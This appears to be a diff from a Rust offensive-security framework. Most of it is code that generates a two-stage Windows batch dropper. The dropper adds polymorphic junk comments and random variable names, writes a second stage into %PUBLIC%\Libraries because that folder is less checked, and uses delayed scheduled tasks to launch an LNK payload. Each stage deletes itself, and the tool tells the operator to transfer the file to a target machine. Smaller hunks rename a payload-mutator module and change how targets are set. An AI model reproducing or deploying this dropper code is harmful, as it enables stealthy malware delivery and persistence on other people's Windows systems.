|
||||
let stage2_content_raw = format!(
|
||||
r#"@echo off
|
||||
cd /d "%~dp0"
|
||||
echo Creating shortcut helper...
|
||||
(
|
||||
{vbs_echo_lines}
|
||||
) > "{vbs_name}"
|
||||
|
||||
cscript //nologo "{vbs_name}"
|
||||
del "{vbs_name}" >nul 2>&1
|
||||
|
||||
echo Scheduling final trigger...
|
||||
{time_calc_loop}
|
||||
schtasks /create /sc ONCE /st %FUTURE_TIME% /tn "{task_name}" /tr "{task_cmd}" /f >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [!] Task creation failed. Admin rights might be needed or schedule time invalid.
|
||||
echo [*] Fallback: Executing LNK immediately...
|
||||
start "" "{lnk_name}"
|
||||
)
|
||||
del "%~f0" >nul 2>&1
|
||||
"#,
|
||||
vbs_echo_lines = vbs_content.lines().map(|l| format!("echo {}", l)).collect::<Vec<_>>().join("\n"),
|
||||
vbs_name = vbs_helper_name,
|
||||
time_calc_loop = time_calc_loop,
|
||||
task_name = task2_name,
|
||||
task_cmd = task2_cmd, // The command the task executes (run the LNK)
|
||||
lnk_name = stage3_lnk_name
|
||||
);
|
||||
|
||||
|
||||
// --- GENERATE STAGE 1 CONTENT (The Dropper) ---
|
||||
// Writes Stage 2 to a hidden/writable directory and schedules it.
|
||||
// Target Dir: %PUBLIC%\Libraries (often writable and less checked than Temp)
|
||||
let target_dir = "%PUBLIC%\\Libraries";
|
||||
|
||||
// Escaping Stage 2 content to be echo'd by Stage 1
|
||||
// We need to escape special BAT chars like %, >, <, |, &
|
||||
let stage2_escaped = escape_bat_echo(&stage2_content_raw);
|
||||
|
||||
let stage1_content = format!(
|
||||
r#"@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
:: Polymorphic Junk
|
||||
{junk_comments}
|
||||
set "{v_dir}={target_dir}"
|
||||
if not exist "!{v_dir}!" mkdir "!{v_dir}!"
|
||||
cd /d "!{v_dir}!"
|
||||
|
||||
echo [*] Dropping Stage 2...
|
||||
(
|
||||
{stage2_lines}
|
||||
) > "{stage2_file}"
|
||||
|
||||
echo [*] Scheduling Stage 2...
|
||||
:: Calculate time {delay1} mins in future using PowerShell
|
||||
for /f "usebackq delims=" %%T in (`powershell -Command "get-date (get-date).addMinutes({delay1}) -Format HH:mm"`) do set "FUTURE_TIME=%%T"
|
||||
|
||||
schtasks /create /sc ONCE /st !FUTURE_TIME! /tn "{task1_name}" /tr "cmd /c start /min \"\" \"!{v_dir}!\{stage2_file}\"" /f
|
||||
|
||||
echo [+] Dropper complete. Payload chain initiated.
|
||||
timeout /t 3 >nul
|
||||
del "%~f0" >nul 2>&1
|
||||
"#,
|
||||
junk_comments = generate_junk_comments(),
|
||||
v_dir = random_var(), // Polymorphic variable for dir
|
||||
target_dir = target_dir,
|
||||
stage2_lines = stage2_escaped,
|
||||
stage2_file = stage2_bat_name,
|
||||
delay1 = delay1_mins,
|
||||
task1_name = task1_name
|
||||
);
|
||||
|
||||
// Write Dropper
|
||||
fs::write(&dropper_name, stage1_content)
|
||||
.with_context(|| format!("Failed to write dropper to {}", dropper_name))?;
|
||||
|
||||
println!("{}", format!("[+] Dropper written to: {}", dropper_name).green().bold());
|
||||
println!("{}", format!("[+] Dropper written to: {}", output_name).green().bold());
|
||||
println!("[*] Transfer this file to the target Windows machine.");
|
||||
println!("[*] Note: The payload relies on 'schtasks' and 'powershell' (for time calc) being available.");
|
||||
println!("[*] Note: The payload relies on 'schtasks' and 'powershell' being available.");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Helpers
|
||||
|
||||
async fn prompt(text: &str) -> Result<String> {
|
||||
print!("{}", text.cyan());
|
||||
std::io::stdout().flush()?;
|
||||
let mut buf = String::new();
|
||||
std::io::stdin().read_line(&mut buf)?;
|
||||
Ok(buf.trim().to_string())
|
||||
}
|
||||
|
||||
fn parse_delay(input: &str) -> Result<u32> {
|
||||
let lower = input.to_lowercase();
|
||||
if let Some(mins) = lower.strip_suffix('m') {
|
||||
mins.parse().context("Invalid minutes format")
|
||||
} else if let Some(days) = lower.strip_suffix('d') {
|
||||
let d: u32 = days.parse().context("Invalid days format")?;
|
||||
Ok(d * 1440)
|
||||
} else {
|
||||
// Default to minutes if no suffix
|
||||
input.parse().context("Invalid delay format (use '10m' or '2d')")
|
||||
}
|
||||
}
|
||||
|
||||
fn random_string(len: usize) -> String {
|
||||
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
let mut rng = rng();
|
||||
(0..len).map(|_| *charset.choose(&mut rng).unwrap_or(&b'A') as char).collect()
|
||||
}
|
||||
|
||||
fn random_var() -> String {
|
||||
let charset = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
let mut rng = rng();
|
||||
let len = rng.random_range(4..8);
|
||||
(0..len).map(|_| *charset.choose(&mut rng).unwrap_or(&b'A') as char).collect()
|
||||
}
|
||||
|
||||
fn generate_junk_comments() -> String {
|
||||
let mut rng = rng();
|
||||
let count = rng.random_range(3..7);
|
||||
let mut s = String::new();
|
||||
for _ in 0..count {
|
||||
writeln!(s, ":: {}", random_string(20)).ok();
|
||||
}
|
||||
s
|
||||
}
|
||||
|
||||
fn escape_bat_echo(content: &str) -> String {
|
||||
content.lines().map(|line| {
|
||||
// Escape special chars for echo
|
||||
let escaped = line.replace("%", "%%")
|
||||
.replace("^", "^^")
|
||||
.replace("&", "^&")
|
||||
.replace("<", "^<")
|
||||
.replace(">", "^>")
|
||||
.replace("|", "^|")
|
||||
.replace("(", "^(")
|
||||
.replace(")", "^)");
|
||||
format!("echo {}", escaped)
|
||||
}).collect::<Vec<_>>().join("\n")
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ use std::sync::Arc;
|
||||
use std::time::Instant;
|
||||
|
||||
use crate::utils::{cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_wordlist, load_lines};
|
||||
use crate::native::payload_mutator::{self, PayloadCategory, MutatorConfig};
|
||||
use crate::native::payload_engine::{self as payload_mutator, PayloadCategory, MutatorConfig};
|
||||
use serde_json::json;
|
||||
|
||||
// =========================================================================
|
||||
|
||||
+1
-1
@@ -1,2 +1,2 @@
|
||||
pub mod rdp;
|
||||
pub mod payload_mutator;
|
||||
pub mod payload_engine;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+10
-14
@@ -192,23 +192,19 @@ pub async fn interactive_shell(verbose: bool) -> Result<()> {
|
||||
|
||||
match sanitize_target(raw_value) {
|
||||
Ok(valid_target) => {
|
||||
// If user provides CIDR (e.g. 192.168.81.1/24), extract just the IP.
|
||||
// "set target" always targets a SINGLE IP.
|
||||
// Use "set subnet" / "sn" to scan an entire subnet.
|
||||
let (ip_only, subnet_note) = if valid_target.contains('/') {
|
||||
let ip_part = valid_target.split('/').next().unwrap_or(&valid_target).to_string();
|
||||
let prefix = valid_target.split('/').nth(1).unwrap_or("");
|
||||
(ip_part, Some(format!("/{}", prefix)))
|
||||
} else {
|
||||
(valid_target.clone(), None)
|
||||
};
|
||||
// Pass the full target (including CIDR) to set_target.
|
||||
// set_target() detects CIDR and stores as Subnet automatically.
|
||||
// This allows modules to receive the full CIDR and iterate hosts.
|
||||
let display_target = valid_target.clone();
|
||||
|
||||
match config::GLOBAL_CONFIG.set_target(&ip_only) {
|
||||
match config::GLOBAL_CONFIG.set_target(&valid_target) {
|
||||
Ok(_) => {
|
||||
if let Some(ref sn) = subnet_note {
|
||||
println!("{}", format!("Target set to: {} (subnet context: {})", ip_only, sn).green());
|
||||
if valid_target.contains('/') {
|
||||
let ip_part = valid_target.split('/').next().unwrap_or(&valid_target);
|
||||
let prefix = valid_target.split('/').nth(1).unwrap_or("");
|
||||
println!("{}", format!("Target set to: {} (subnet: /{})", ip_part, prefix).green());
|
||||
} else {
|
||||
println!("{}", format!("Target set to: {}", ip_only).green());
|
||||
println!("{}", format!("Target set to: {}", display_target).green());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
|
||||
Reference in New Issue
Block a user